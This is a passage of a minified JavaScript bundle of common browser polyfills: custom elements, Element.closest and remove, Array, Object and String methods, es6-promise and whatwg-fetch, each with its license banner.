if(!this[W]){this[W]=!0,new t(this),o[m]&&o[m].call(this);var e=G[Z.get(t)];(!V||e.create.length>1)&&Zt(this)}}}),ot(u,h,{value:function(e){-1<_.call(a,e)&&o[h].apply(this,arguments)}}),o[d]&&ot(u,p,{value:o[d]}),o[v]&&ot(u,g,{value:o[v]}),i&&(f[c]=i),e=e.toUpperCase(),G[e]={constructor:t,create:i?[i,et(e)]:[e]},Z.set(t,e),n[s](e.toLowerCase(),f),en(e),Y[e].r()}function Gt(e){var t=G[e.toUpperCase()];return t&&t.constructor}function Yt(e){return typeof e=="string"?e:e&&e.is||""}function Zt(e){var t=e[h],n=t?e.attributes:j,r=n.length,i;while(r--)i=n[r],t.call(e,i.name||i.nodeName,null,i.value||i.nodeValue)}function en(e){return e=e.toUpperCase(),e in Y||(Y[e]={},Y[e].p=new K(function(t){Y[e].r=t})),Y[e].p}function tn(){X&&delete e.customElements,B(e,"customElements",{configurable:!0,value:new Kt}),B(e,"CustomElementRegistry",{configurable:!0,value:Kt});for(var t=function(t){var r=e[t];if(r){e[t]=function(t){var i,s;return t||(t=this),t[W]||(Q=!0,i=G[Z.get(t.constructor)],s=V&&i.create.length===1,t=s?Reflect.construct(r,j,i.constructor):n.createElement.apply(n,i.create),t[W]=!0,Q=!1,s||Zt(t)),t},e[t].prototype=r.prototype;try{r.prototype.constructor=e[t]}catch(i){z=!0,B(r,W,{value:e[t]})}}},r=i.get(/^HTML[A-Z]*[a-z]/),o=r.length;o--;t(r[o]));n.createElement=function(e,t){var n=Yt(t);return n?gt.call(this,e,et(n)):gt.call(this,e)},St||(Tt=!0,n[s](""))}var n=e.document,r=e.Object,i=function(e){var t=/^[A-Z]+[a-z]/,n=function(e){var t=[],n;for(n in s)e.test(n)&&t.push(n);return t},i=function(e,t){t=t.toLowerCase(),t in s||(s[e]=(s[e]||[]).concat(t),s[t]=s[t.toUpperCase()]=e)},s=(r.create||r)(null),o={},u,a,f,l;for(a in e)for(l in e[a]){f=e[a][l],s[l]=f;for(u=0;u<f.length;u++)s[f[u].toLowerCase()]=s[f[u].toUpperCase()]=l}return o.get=function(r){return typeof r=="string"?s[r]||(t.test(r)?[]:""):n(r)},o.set=function(n,r){return t.test(n)?i(n,r):i(r,n),o},o}({collections:{HTMLAllCollection:["all"],HTMLCollection:["forms"],HTMLFormControlsCollection:["elements"],HTMLOptionsCollection:["options"]},elements:{Element:["element"],HTMLAnchorElement:["a"],HTMLAppletElement:["applet"],HTMLAreaElement:["area"],HTMLAttachmentElement:["attachment"],HTMLAudioElement:["audio"],HTMLBRElement:["br"],HTMLBaseElement:["base"],HTMLBodyElement:["body"],HTMLButtonElement:["button"],HTMLCanvasElement:["canvas"],HTMLContentElement:["content"],HTMLDListElement:["dl"],HTMLDataElement:["data"],HTMLDataListElement:["datalist"],HTMLDetailsElement:["details"],HTMLDialogElement:["dialog"],HTMLDirectoryElement:["dir"],HTMLDivElement:["div"],HTMLDocument:["document"],HTMLElement:["element","abbr","address","article","aside","b","bdi","bdo","cite","code","command","dd","dfn","dt","em","figcaption","figure","footer","header","i","kbd","mark","nav","noscript","rp","rt","ruby","s","samp","section","small","strong","sub","summary","sup","u","var","wbr"],HTMLEmbedElement:["embed"],HTMLFieldSetElement:["fieldset"],HTMLFontElement:["font"],HTMLFormElement:["form"],HTMLFrameElement:["frame"],HTMLFrameSetElement:["frameset"],HTMLHRElement:["hr"],HTMLHeadElement:["head"],HTMLHeadingElement:["h1","h2","h3","h4","h5","h6"],HTMLHtmlElement:["html"],HTMLIFrameElement:["iframe"],HTMLImageElement:["img"],HTMLInputElement:["input"],HTMLKeygenElement:["keygen"],HTMLLIElement:["li"],HTMLLabelElement:["label"],HTMLLegendElement:["legend"],HTMLLinkElement:["link"],HTMLMapElement:["map"],HTMLMarqueeElement:["marquee"],HTMLMediaElement:["media"],HTMLMenuElement:["menu"],HTMLMenuItemElement:["menuitem"],HTMLMetaElement:["meta"],HTMLMeterElement:["meter"],HTMLModElement:["del","ins"],HTMLOListElement:["ol"],HTMLObjectElement:["object"],HTMLOptGroupElement:["optgroup"],HTMLOptionElement:["option"],HTMLOutputElement:["output"],HTMLParagraphElement:["p"],HTMLParamElement:["param"],HTMLPictureElement:["picture"],HTMLPreElement:["pre"],HTMLProgressElement:["progress"],HTMLQuoteElement:["blockquote","q","quote"],HTMLScriptElement:["script"],HTMLSelectElement:["select"],HTMLShadowElement:["shadow"],HTMLSlotElement:["slot"],HTMLSourceElement:["source"],HTMLSpanElement:["span"],HTMLStyleElement:["style"],HTMLTableCaptionElement:["caption"],HTMLTableCellElement:["td","th"],HTMLTableColElement:["col","colgroup"],HTMLTableElement:["table"],HTMLTableRowElement:["tr"],HTMLTableSectionElement:["thead","tbody","tfoot"],HTMLTemplateElement:["template"],HTMLTextAreaElement:["textarea"],HTMLTimeElement:["time"],HTMLTitleElement:["title"],HTMLTrackElement:["track"],HTMLUListElement:["ul"],HTMLUnknownElement:["unknown","vhgroupv","vkeygen"],HTMLVideoElement:["video"]},nodes:{Attr:["node"],Audio:["audio"],CDATASection:["node"],CharacterData:["node"],Comment:["#comment"],Document:["#document"],DocumentFragment:["#document-fragment"],DocumentType:["node"],HTMLDocument:["#document"],Image:["img"],Option:["option"],ProcessingInstruction:["node"],ShadowRoot:["#shadow-root"],Text:["#text"],XMLDocument:["xml"]}});typeof t!="object"&&(t={type:t||"auto"});var s="registerElement",o="__"+s+(e.Math.random()*1e5>>0),u="addEventListener",a="attached",f="Callback",l="detached",c="extends",h="attributeChanged"+f,p=a+f,d="connected"+f,v="disconnected"+f,m="created"+f,g=l+f,y="ADDITION",b="MODIFICATION",w="REMOVAL",E="DOMAttrModified",S="DOMContentLoaded",x="DOMSubtreeModified",T="<",N="=",C=/^[A-Z][A-Z0-9]*(?:-[A-Z0-9]+)+$/,k=["ANNOTATION-XML","COLOR-PROFILE","FONT-FACE","FONT-FACE-SRC","FONT-FACE-URI","FONT-FACE-FORMAT","FONT-FACE-NAME","MISSING-GLYPH"],L=[],A=[],O="",M=n.documentElement,_=L.indexOf||function(e){for(var t=this.length;t--&&this[t]!==e;);return t},D=r.prototype,P=D.hasOwnProperty,H=D.isPrototypeOf,B=r.defineProperty,j=[],F=r.getOwnPropertyDescriptor,I=r.getOwnPropertyNames,q=r.getPrototypeOf,R=r.setPrototypeOf,U=!!r.__proto__,z=!1,W="__dreCEv1",X=e.customElements,V=!/^force/.test(t.type)&&!!(X&&X.define&&X.get&&X.whenDefined),$=r.create||r,J=e.Map||function(){var t=[],n=[],r;return{get:function(e){return n[_.call(t,e)]},set:function(e,i){r=_.call(t,e),r<0?n[t.push(e)-1]=i:n[r]=i}}},K=e.Promise||function(e){function i(e){n=!0;while(t.length)t.shift()(e)}var t=[],n=!1,r={"catch":function(){return r},then:function(e){return t.push(e),n&&setTimeout(i,1),r}};return e(i),r},Q=!1,G=$(null),Y=$(null),Z=new J,et=function(e){return e.toLowerCase()},tt=r.create||function sn(e){return e?(sn.prototype=e,new sn):this},nt=R||(U?function(e,t){return e.__proto__=t,e}:I&&F?function(){function e(e,t){for(var n,r=I(t),i=0,s=r.length;i<s;i++)n=r[i],P.call(e,n)||B(e,n,F(t,n))}return function(t,n){do e(t,n);while((n=q(n))&&!H.call(n,t));return t}}():function(e,t){for(var n in t)e[n]=t[n];return e}),rt=e.MutationObserver||e.WebKitMutationObserver,it=(e.HTMLElement||e.Element||e.Node).prototype,st=!H.call(it,M),ot=st?function(e,t,n){return e[t]=n.value,e}:B,ut=st?function(e){return e.nodeType===1}:function(e){return H.call(it,e)},at=st&&[],ft=it.attachShadow,lt=it.cloneNode,ct=it.dispatchEvent,ht=it.getAttribute,pt=it.hasAttribute,dt=it.removeAttribute,vt=it.setAttribute,mt=n.createElement,gt=mt,yt=rt&&{attributes:!0,characterData:!0,attributeOldValue:!0},bt=rt||function(e){Nt=!1,M.removeEventListener(E,bt)},wt,Et=0,St=s in n&&!/^force-all/.test(t.type),xt=!0,Tt=!1,Nt=!0,Ct=!0,kt=!0,Lt,At,Ot,Mt,_t,Dt,Pt;St||(R||U?(Dt=function(e,t){H.call(t,e)||Xt(e,t)},Pt=Xt):(Dt=function(e,t){e[o]||(e[o]=r(!0),Xt(e,t))},Pt=Dt),st?(Nt=!1,function(){var e=F(it,u),t=e.value,n=function(e){var t=new CustomEvent(E,{bubbles:!0});t.attrName=e,t.prevValue=ht.call(this,e),t.newValue=null,t[w]=t.attrChange=2,dt.call(this,e),ct.call(this,t)},r=function(e,t){var n=pt.call(this,e),r=n&&ht.call(this,e),i=new CustomEvent(E,{bubbles:!0});vt.call(this,e,t),i.attrName=e,i.prevValue=n?r:null,i.newValue=t,n?i[b]=i.attrChange=1:i[y]=i.attrChange=0,ct.call(this,i)},i=function(e){var t=e.currentTarget,n=t[o],r=e.propertyName,i;n.hasOwnProperty(r)&&(n=n[r],i=new CustomEvent(E,{bubbles:!0}),i.attrName=n.name,i.prevValue=n.value||null,i.newValue=n.value=t[r]||null,i.prevValue==null?i[y]=i.attrChange=0:i[b]=i.attrChange=1,ct.call(t,i))};e.value=function(e,s,u){e===E&&this[h]&&this.setAttribute!==r&&(this[o]={className:{name:"class",value:this.className}},this.setAttribute=r,this.removeAttribute=n,t.call(this,"propertychange",i)),t.call(this,e,s,u)},B(it,u,e)}()):rt||(M[u](E,bt),M.setAttribute(o,1),M.removeAttribute(o),Nt&&(Lt=function(e){var t=this,n,r,i;if(t===e.target){n=t[o],t[o]=r=Ot(t);for(i in r){if(!(i in n))return At(0,t,i,n[i],r[i],y);if(r[i]!==n[i])return At(1,t,i,n[i],r[i],b)}for(i in n)if(!(i in r))return At(2,t,i,n[i],r[i],w)}},At=function(e,t,n,r,i,s){var o={attrChange:e,currentTarget:t,attrName:n,prevValue:r,newValue:i};o[s]=e,Rt(o)},Ot=function(e){for(var t,n,r={},i=e.attributes,s=0,o=i.length;s<o;s++)t=i[s],n=t.name,n!=="setAttribute"&&(r[n]=t.value);return r})),n[s]=function(t,r){p=t.toUpperCase(),xt&&(xt=!1,rt?(Mt=function(e,t){function n(e,t){for(var n=0,r=e.length;n<r;t(e[n++]));}return new rt(function(r){for(var i,s,o,u=0,a=r.length;u<a;u++)i=r[u],i.type==="childList"?(n(i.addedNodes,e),n(i.removedNodes,t)):(s=i.target,kt&&s[h]&&i.attributeName!=="style"&&(o=ht.call(s,i.attributeName),o!==i.oldValue&&s[h](i.attributeName,i.oldValue,o)))})}(Ft(a),Ft(l)),_t=function(e){return Mt.observe(e,{childList:!0,subtree:!0}),e},_t(n),ft&&(it.attachShadow=function(){return _t(ft.apply(this,arguments))})):(wt=[],n[u]("DOMNodeInserted",Ut(a)),n[u]("DOMNodeRemoved",Ut(l))),n[u](S,zt),n[u]("readystatechange",zt),it.cloneNode=function(e){var t=lt.call(this,!!e),n=It(t);return-1<n&&Pt(t,A[n]),e&&O.length&&jt(t.querySelectorAll(O)),t});if(Tt)return Tt=!1;-2<_.call(L,N+p)+_.call(L,T+p)&&$t(t);if(!C.test(p)||-1<_.call(k,p))throw new Error("The type "+t+" is invalid");var i=function(){return o?n.createElement(f,p):n.createElement(f)},s=r||D,o=P.call(s,c),f=o?r[c].toUpperCase():p,p,d;return o&&-1<_.call(L,T+f)&&$t(f),d=L.push((o?N:T)+p)-1,O=O.concat(O.length?",":"",o?f+'[is="'+t.toLowerCase()+'"]':f),i.prototype=A[d]=P.call(s,"prototype")?s.prototype:tt(it),O.length&&Bt(n.querySelectorAll(O),a),i},n.createElement=gt=function(e,t){var r=Yt(t),i=r?mt.call(n,e,et(r)):mt.call(n,e),s=""+e,o=_.call(L,(r?N:T)+(r||s).toUpperCase()),u=-1<o;return r&&(i.setAttribute("is",r=r.toLowerCase()),u&&(u=qt(s.toUpperCase(),r))),kt=!n.createElement.innerHTMLHelper,u&&Pt(i,A[o]),i}),Kt.prototype={constructor:Kt,define:V?function(e,t,n){if(n)Qt(e,t,n);else{var r=e.toUpperCase();G[r]={constructor:t,create:[r]},Z.set(t,r),X.define(e,t)}}:Qt,get:V?function(e){return X.get(e)||Gt(e)}:Gt,whenDefined:V?function(e){return K.race([X.whenDefined(e),en(e)])}:en};if(!X||/^force/.test(t.type))tn();else if(!t.noBuiltIn)try{(function(t,r,i){r[c]="a",t.prototype=tt(HTMLAnchorElement.prototype),t.prototype.constructor=t,e.customElements.define(i,t,r);if(ht.call(n.createElement("a",{is:i}),"is")!==i||V&&ht.call(new t,"is")!==i)throw r})(function on(){return Reflect.construct(HTMLAnchorElement,[],on)},{},"document-register-element-a")}catch(nn){tn()}if(!t.noBuiltIn)try{mt.call(n,"a","a")}catch(rn){et=function(e){return{is:e.toLowerCase()}}}})(window);
}

/*!
Element.closest and Element.matches
https://github.com/jonathantneal/closest
Creative Commons Zero v1.0 Universal
*/
(function(a){"function"!==typeof a.matches&&(a.matches=a.msMatchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||function(a){a=(this.document||this.ownerDocument).querySelectorAll(a);for(var b=0;a[b]&&a[b]!==this;)++b;return!!a[b]});"function"!==typeof a.closest&&(a.closest=function(a){for(var b=this;b&&1===b.nodeType;){if(b.matches(a))return b;b=b.parentNode}return null})})(window.Element.prototype);
/*!
Element.remove()
https://developer.mozilla.org/en-US/docs/Web/API/ChildNode/remove
*/
(function(b){b.forEach(function(a){a.hasOwnProperty("remove")||Object.defineProperty(a,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){null!==this.parentNode&&this.parentNode.removeChild(this)}})})})([Element.prototype,CharacterData.prototype,DocumentType.prototype]);
/*!
Array.prototype.find
*/
Array.prototype.find||Object.defineProperty(Array.prototype,"find",{writable:!0,configurable:!0,value:function(c,e){if(null==this)throw new TypeError('"this" is null or not defined');var b=Object(this),f=b.length>>>0;if("function"!==typeof c)throw new TypeError("predicate must be a function");for(var a=0;a<f;){var d=b[a];if(c.call(e,d,a,b))return d;a++}}});
/*!
Array.from
*/
Array.from||(Array.from=function(){var l=Object.prototype.toString,h=function(c){return"function"===typeof c||"[object Function]"===l.call(c)},m=Math.pow(2,53)-1;return function(c){var k=Object(c);if(null==c)throw new TypeError("Array.from requires an array-like object - not null or undefined");var d=1<arguments.length?arguments[1]:void 0,f;if("undefined"!==typeof d){if(!h(d))throw new TypeError("Array.from: when provided, the second argument must be a function");2<arguments.length&&(f=arguments[2])}var a=
Number(k.length);a=isNaN(a)?0:0!==a&&isFinite(a)?(0<a?1:-1)*Math.floor(Math.abs(a)):a;a=Math.min(Math.max(a,0),m);for(var g=h(this)?Object(new this(a)):Array(a),b=0,e;b<a;)e=k[b],g[b]=d?"undefined"===typeof f?d(e,b):d.call(f,e,b):e,b+=1;g.length=a;return g}}());
/*!
Array.prototype.includes
*/
Array.prototype.includes||Object.defineProperty(Array.prototype,"includes",{writable:!0,configurable:!0,value:function(r,e){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),n=t.length>>>0;if(0===n)return!1;var i,o,a=0|e,u=Math.max(0<=a?a:n-Math.abs(a),0);for(;u<n;){if((i=t[u])===(o=r)||"number"==typeof i&&"number"==typeof o&&isNaN(i)&&isNaN(o))return!0;u++}return!1}});
/*!
Object.assign
*/
"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(d,f){if(null==d)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(d),b=1;b<arguments.length;b++){var a=arguments[b];if(null!=a)for(var c in a)Object.prototype.hasOwnProperty.call(a,c)&&(e[c]=a[c])}return e},writable:!0,configurable:!0});
/*!
Object.entries
*/
Object.entries||(Object.entries=function(c){for(var b=Object.keys(c),a=b.length,d=Array(a);a--;)d[a]=[b[a],c[b[a]]];return d});
/*!
Object.values
*/
Object.values||(Object.values=function(n){return Object.keys(n).map(function(r){return n[r]})});

/*!
String.prototype.endsWith
*/
String.prototype.endsWith||Object.defineProperty(String.prototype,"endsWith",{writable:!0,configurable:!0,value:function(b,a){if(void 0===a||a>this.length)a=this.length;return this.substring(a-b.length,a)===b}});
/*!
String.prototype.includes
*/
String.prototype.includes||(String.prototype.includes=function(b,a){"number"!==typeof a&&(a=0);return a+b.length>this.length?!1:-1!==this.indexOf(b,a)});
/*!
String.prototype.startsWith
*/
String.prototype.startsWith||Object.defineProperty(String.prototype,"startsWith",{writable:!0,configurable:!0,value:function(b,a){return this.substr(!a||0>a?0:+a,b.length)===b}});
/*!
es6-promise - a tiny implementation of Promises/A+.
Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)
Licensed under MIT license
See https://raw.githubusercontent.com/stefanpenner/es6-promise/master/LICENSE
v4.2.4+314e4831
*/
(window.ES6Promise=function(){function t(){var t=setTimeout;return function(){return t(r,1)}}function r(){for(var t=0;t<y;t+=2)(0,C[t])(C[t+1]),C[t]=void 0,C[t+1]=void 0;y=0}function e(t,r){var e=this,n=new this.constructor(o);void 0===n[O]&&_(n);var i=e._state;if(i){var s=arguments[i-1];g(function(){return v(i,n,s,e._result)})}else l(e,n,t,r);return n}function n(t){if(t&&"object"==typeof t&&t.constructor===this)return t;var r=new this(o);return u(r,t),r}function o(){}function i(t){try{return t.then}catch(t){return q.error=t,q}}function s(t,r,o){r.constructor===t.constructor&&o===e&&r.constructor.resolve===n?function(t,r){r._state===x?a(t,r._result):r._state===F?f(t,r._result):l(r,void 0,function(r){return u(t,r)},function(r){return f(t,r)})}(t,r):o===q?(f(t,q.error),q.error=null):void 0===o?a(t,r):"function"==typeof o?function(t,r,e){g(function(t){var n=!1,o=function(t,r,e,n){try{t.call(r,e,n)}catch(t){return t}}(e,r,function(e){n||(n=!0,r!==e?u(t,e):a(t,e))},function(r){n||(n=!0,f(t,r))},t._label);!n&&o&&(n=!0,f(t,o))},t)}(t,r,o):a(t,r)}function u(t,r){if(t===r)f(t,new TypeError("cannot resolve promise w/ itself"));else{var e=typeof r;null===r||"object"!==e&&"function"!==e?a(t,r):s(t,r,i(r))}}function c(t){t._onerror&&t._onerror(t._result),h(t)}function a(t,r){t._state===P&&(t._result=r,t._state=x,0!==t._subscribers.length&&g(h,t))}function f(t,r){t._state===P&&(t._state=F,t._result=r,g(c,t))}function l(t,r,e,n){var o=t._subscribers,i=o.length;t._onerror=null,o[i]=r,o[i+x]=e,o[i+F]=n,0===i&&t._state&&g(h,t)}function h(t){var r=t._subscribers,e=t._state;if(0!==r.length){for(var n,o,i=t._result,s=0;s<r.length;s+=3)n=r[s],o=r[s+e],n?v(e,n,o,i):o(i);t._subscribers.length=0}}function v(t,r,e,n){var o="function"==typeof e,i=void 0,s=void 0,c=void 0,l=void 0;if(o){try{i=e(n)}catch(t){q.error=t,i=q}if(i===q?(l=!0,s=i.error,i.error=null):c=!0,r===i)return void f(r,new TypeError("Cannot return same promise"))}else i=n,c=!0;r._state===P&&(o&&c?u(r,i):l?f(r,s):t===x?a(r,i):t===F&&f(r,i))}function _(t){t[O]=U++,t._state=void 0,t._result=void 0,t._subscribers=[]}var p,d=Array.isArray?Array.isArray:function(t){return"[object Array]"===Object.prototype.toString.call(t)},y=0,w=void 0,m=void 0,g=function(t,e){C[y]=t,C[y+1]=e,2===(y+=2)&&(m?m(r):T())},b=(p="undefined"!=typeof window?window:void 0)||{},A=b.MutationObserver||b.WebKitMutationObserver;b="undefined"==typeof self;var E,S,M,j="undefined"!=typeof Uint8ClampedArray&&"undefined"!=typeof importScripts&&"undefined"!=typeof MessageChannel,C=Array(1e3),T=void 0;T=A?(E=0,S=new A(r),M=document.createTextNode(""),S.observe(M,{characterData:!0}),function(){M.data=E=++E%2}):j?function(){var t=new MessageChannel;return t.port1.onmessage=r,function(){return t.port2.postMessage(0)}}():void 0===p&&"function"==typeof require?function(){try{var e=Function("return this")().require("vertx");return void 0!==(w=e.runOnLoop||e.runOnContext)?function(){w(r)}:t()}catch(r){return t()}}():t();var O=Math.random().toString(36).substring(2),P=void 0,x=1,F=2,q={error:null},U=0,D=function(){function t(t,r){this._instanceConstructor=t,this.promise=new t(o),this.promise[O]||_(this.promise),d(r)?(this._remaining=this.length=r.length,this._result=Array(this.length),0===this.length?a(this.promise,this._result):(this.length=this.length||0,this._enumerate(r),0===this._remaining&&a(this.promise,this._result))):f(this.promise,Error("Array Methods must be provided an Array"))}return t.prototype._enumerate=function(t){for(var r=0;this._state===P&&r<t.length;r++)this._eachEntry(t[r],r)},t.prototype._eachEntry=function(t,r){var u=this._instanceConstructor,c=u.resolve;c===n?(c=i(t))===e&&t._state!==P?this._settledAt(t._state,r,t._result):"function"!=typeof c?(this._remaining--,this._result[r]=t):u===K?(s(u=new u(o),t,c),this._willSettleAt(u,r)):this._willSettleAt(new u(function(r){return r(t)}),r):this._willSettleAt(c(t),r)},t.prototype._settledAt=function(t,r,e){var n=this.promise;n._state===P&&(this._remaining--,t===F?f(n,e):this._result[r]=e),0===this._remaining&&a(n,this._result)},t.prototype._willSettleAt=function(t,r){var e=this;l(t,void 0,function(t){return e._settledAt(x,r,t)},function(t){return e._settledAt(F,r,t)})},t}(),K=function(){function t(r){if(this[O]=U++,this._result=this._state=void 0,this._subscribers=[],o!==r){if("function"!=typeof r)throw new TypeError("Must pass a resolver fn as 1st arg");if(!(this instanceof t))throw new TypeError("Failed to construct 'Promise': Use the 'new' operator.");!function(t,r){try{r(function(r){u(t,r)},function(r){f(t,r)})}catch(r){f(t,r)}}(this,r)}}return t.prototype.catch=function(t){return this.then(null,t)},t.prototype.finally=function(t){var r=this.constructor;return this.then(function(e){return r.resolve(t()).then(function(){return e})},function(e){return r.resolve(t()).then(function(){throw e})})},t}();return K.prototype.then=e,K.all=function(t){return new D(this,t).promise},K.race=function(t){var r=this;return d(t)?new r(function(e,n){for(var o=t.length,i=0;i<o;i++)r.resolve(t[i]).then(e,n)}):new r(function(t,r){return r(new TypeError("Must pass array to race"))})},K.resolve=n,K.reject=function(t){var r=new this(o);return f(r,t),r},K._setScheduler=function(t){m=t},K._setAsap=function(t){g=t},K._asap=g,K.polyfill=function(){var t=void 0;if("undefined"!=typeof global)t=global;else if("undefined"!=typeof self)t=self;else try{t=Function("return this")()}catch(t){throw Error("polyfill failed")}var r=t.Promise;if(r){var e=null;try{e=Object.prototype.toString.call(r.resolve())}catch(t){}if("[object Promise]"===e&&!r.cast)return}t.Promise=K},K.Promise=K,K.polyfill(),K}());
/*!
whatwg-fetch, 2.0.3
https://github.com/github/fetch
Copyright (c) 2014-2016 GitHub, Inc. - MIT License
*/
(function(e){function l(a){"string"!==typeof a&&(a=String(a));if(/[^a-z0-9\-#$%&'*+.\^_`|~]/i.test(a))throw new TypeError("Invalid character in header field name");return a.toLowerCase()}function q(a){"string"!==typeof a&&(a=String(a));return a}function n(a){var b={next:function(){var b=a.shift();return{done:void 0===b,value:b}}};g.iterable&&(b[Symbol.iterator]=function(){return b});return b}function d(a){this.map={};a instanceof d?a.forEach(function(a,c){this.append(c,a)},this):Array.isArray(a)?
a.forEach(function(a){this.append(a[0],a[1])},this):a&&Object.getOwnPropertyNames(a).forEach(function(b){this.append(b,a[b])},this)}function p(a){if(a.bodyUsed)return Promise.reject(new TypeError("Already read"));a.bodyUsed=!0}function r(a){return new Promise(function(b,c){a.onload=function(){b(a.result)};a.onerror=function(){c(a.error)}})}function w(a){var b=new FileReader,c=r(b);b.readAsArrayBuffer(a);return c}function x(a){a=new Uint8Array(a);for(var b=Array(a.length),c=0;c<a.length;c++)b[c]=String.fromCharCode(a[c]);
return b.join("")}function t(a){if(a.slice)return a.slice(0);var b=new Uint8Array(a.byteLength);b.set(new Uint8Array(a));return b.buffer}function u(){this.bodyUsed=!1;this._initBody=function(a){if(this._bodyInit=a)if("string"===typeof a)this._bodyText=a;else if(g.blob&&Blob.prototype.isPrototypeOf(a))this._bodyBlob=a;else if(g.formData&&FormData.prototype.isPrototypeOf(a))this._bodyFormData=a;else if(g.searchParams&&URLSearchParams.prototype.isPrototypeOf(a))this._bodyText=a.toString();else if(g.arrayBuffer&&
g.blob&&y(a))this._bodyArrayBuffer=t(a.buffer),this._bodyInit=new Blob([this._bodyArrayBuffer]);else if(g.arrayBuffer&&(ArrayBuffer.prototype.isPrototypeOf(a)||z(a)))this._bodyArrayBuffer=t(a);else throw Error("unsupported BodyInit type");else this._bodyText="";this.headers.get("content-type")||("string"===typeof a?this.headers.set("content-type","text/plain;charset=UTF-8"):this._bodyBlob&&this._bodyBlob.type?this.headers.set("content-type",this._bodyBlob.type):g.searchParams&&URLSearchParams.prototype.isPrototypeOf(a)&&
this.headers.set("content-type","application/x-www-form-urlencoded;charset=UTF-8"))};g.blob&&(this.blob=function(){var a=p(this);if(a)return a;if(this._bodyBlob)return Promise.resolve(this._bodyBlob);if(this._bodyArrayBuffer)return Promise.resolve(new Blob([this._bodyArrayBuffer]));if(this._bodyFormData)throw Error("could not read FormData body as blob");return Promise.resolve(new Blob([this._bodyText]))},this.arrayBuffer=function(){return this._bodyArrayBuffer?p(this)||Promise.resolve(this._bodyArrayBuffer):
this.blob().then(w)});this.text=function(){var a=p(this);if(a)return a;if(this._bodyBlob){a=this._bodyBlob;var b=new FileReader,c=r(b);b.readAsText(a);return c}if(this._bodyArrayBuffer)return Promise.resolve(x(this._bodyArrayBuffer));if(this._bodyFormData)throw Error("could not read FormData body as text");return Promise.resolve(this._bodyText)};g.formData&&(this.formData=function(){return this.text().then(A)});this.json=function(){return this.text().then(JSON.parse)};return this}function k(a,b){b=
b||{};var c=b.body;if(a instanceof k){if(a.bodyUsed)throw new TypeError("Already read");this.url=a.url;this.credentials=a.credentials;b.headers||(this.headers=new d(a.headers));this.method=a.method;this.mode=a.mode;c||null==a._bodyInit||(c=a._bodyInit,a.bodyUsed=!0)}else this.url=String(a);this.credentials=b.credentials||this.credentials||"omit";if(b.headers||!this.headers)this.headers=new d(b.headers);var v=b.method||this.method||"GET",g=v.toUpperCase();this.method=-1<B.indexOf(g)?g:v;this.mode=
b.mode||this.mode||null;this.referrer=null;if(("GET"===this.method||"HEAD"===this.method)&&c)throw new TypeError("Body not allowed for GET or HEAD requests");this._initBody(c)}function A(a){var b=new FormData;a.trim().split("&").forEach(function(a){if(a){var c=a.split("=");a=c.shift().replace(/\+/g," ");c=c.join("=").replace(/\+/g," ");b.append(decodeURIComponent(a),decodeURIComponent(c))}});return b}function C(a){var b=new d;a.replace(/\r?\n[\t ]+/g," ").split(/\r?\n/).forEach(function(a){var c=
a.split(":");if(a=c.shift().trim())c=c.join(":").trim(),b.append(a,c)});return b}function h(a,b){b||(b={});this.type="default";this.status=void 0===b.status?200:b.status;this.ok=200<=this.status&&300>this.status;this.statusText="statusText"in b?b.statusText:"OK";this.headers=new d(b.headers);this.url=b.url||"";this._initBody(a)}if(!e.fetch){var D="Symbol"in e&&"iterator"in Symbol,m;if(m="FileReader"in e&&"Blob"in e)try{new Blob,m=!0}catch(a){m=!1}var g={searchParams:"URLSearchParams"in e,iterable:D,
blob:m,formData:"FormData"in e,arrayBuffer:"ArrayBuffer"in e};if(g.arrayBuffer){var E="[object Int8Array];[object Uint8Array];[object Uint8ClampedArray];[object Int16Array];[object Uint16Array];[object Int32Array];[object Uint32Array];[object Float32Array];[object Float64Array]".split(";");var y=function(a){return a&&DataView.prototype.isPrototypeOf(a)};var z=ArrayBuffer.isView||function(a){return a&&-1<E.indexOf(Object.prototype.toString.call(a))}}d.prototype.append=function(a,b){a=l(a);b=q(b);var c=
this.map[a];this.map[a]=c?c+","+b:b};d.prototype["delete"]=function(a){delete this.map[l(a)]};d.prototype.get=function(a){a=l(a);return this.has(a)?this.map[a]:null};d.prototype.has=function(a){return this.map.hasOwnProperty(l(a))};d.prototype.set=function(a,b){this.map[l(a)]=q(b)};d.prototype.forEach=function(a,b){for(var c in this.map)this.map.hasOwnProperty(c)&&a.call(b,this.map[c],c,this)};d.prototype.keys=function(){var a=[];this.forEach(function(b,c){a.push(c)});return n(a)};d.prototype.values=
function(){var a=[];this.forEach(function(b){a.push(b)});return n(a)};d.prototype.entries=function(){var a=[];this.forEach(function(b,c){a.push([c,b])});return n(a)};g.iterable&&(d.prototype[Symbol.iterator]=d.prototype.entries);var B="DELETE GET HEAD OPTIONS POST PUT".split(" ");k.prototype.clone=function(){return new k(this,{body:this._bodyInit})};u.call(k.prototype);u.call(h.prototype);h.prototype.clone=function(){return new h(this._bodyInit,{status:this.status,statusText:this.statusText,headers:new d(this.headers),
url:this.url})};h.error=function(){var a=new h(null,{status:0,statusText:""});a.type="error";return a};var F=[301,302,303,307,308];h.redirect=function(a,b){if(-1===F.indexOf(b))throw new RangeError("Invalid status code");return new h(null,{status:b,headers:{location:a}})};e.Headers=d;e.Request=k;e.Response=h;e.fetch=function(a,b){return new Promise(function(c,d){var e=new k(a,b),f=new XMLHttpRequest;f.onload=function(){var a={status:f.status,statusText:f.statusText,headers:C(f.getAllResponseHeaders()||
"")};a.url="responseURL"in f?f.responseURL:a.headers.get("X-Request-URL");c(new h("response"in f?f.response:f.responseText,a))};f.onerror=function(){d(new TypeError("Network request failed"))};f.ontimeout=function(){d(new TypeError("Network request failed"))};f.open(e.method,e.url,!0);"include"===e.credentials?f.withCredentials=!0:"omit"===e.credentials&&(f.withCredentials=!1);"responseType"in f&&g.blob&&(f.responseType="blob");e.headers.forEach(function(a,b){f.setRequestHeader(b,a)});f.send("undefined"===
typeof e._bodyInit?null:e._bodyInit)})};e.fetch.polyfill=!0}})("undefined"!==typeof self?self:window);
/*!
url-polyfill, 1.0.14
https://github.com/lifaon74/url-polyfill
MIT Licensed
*/
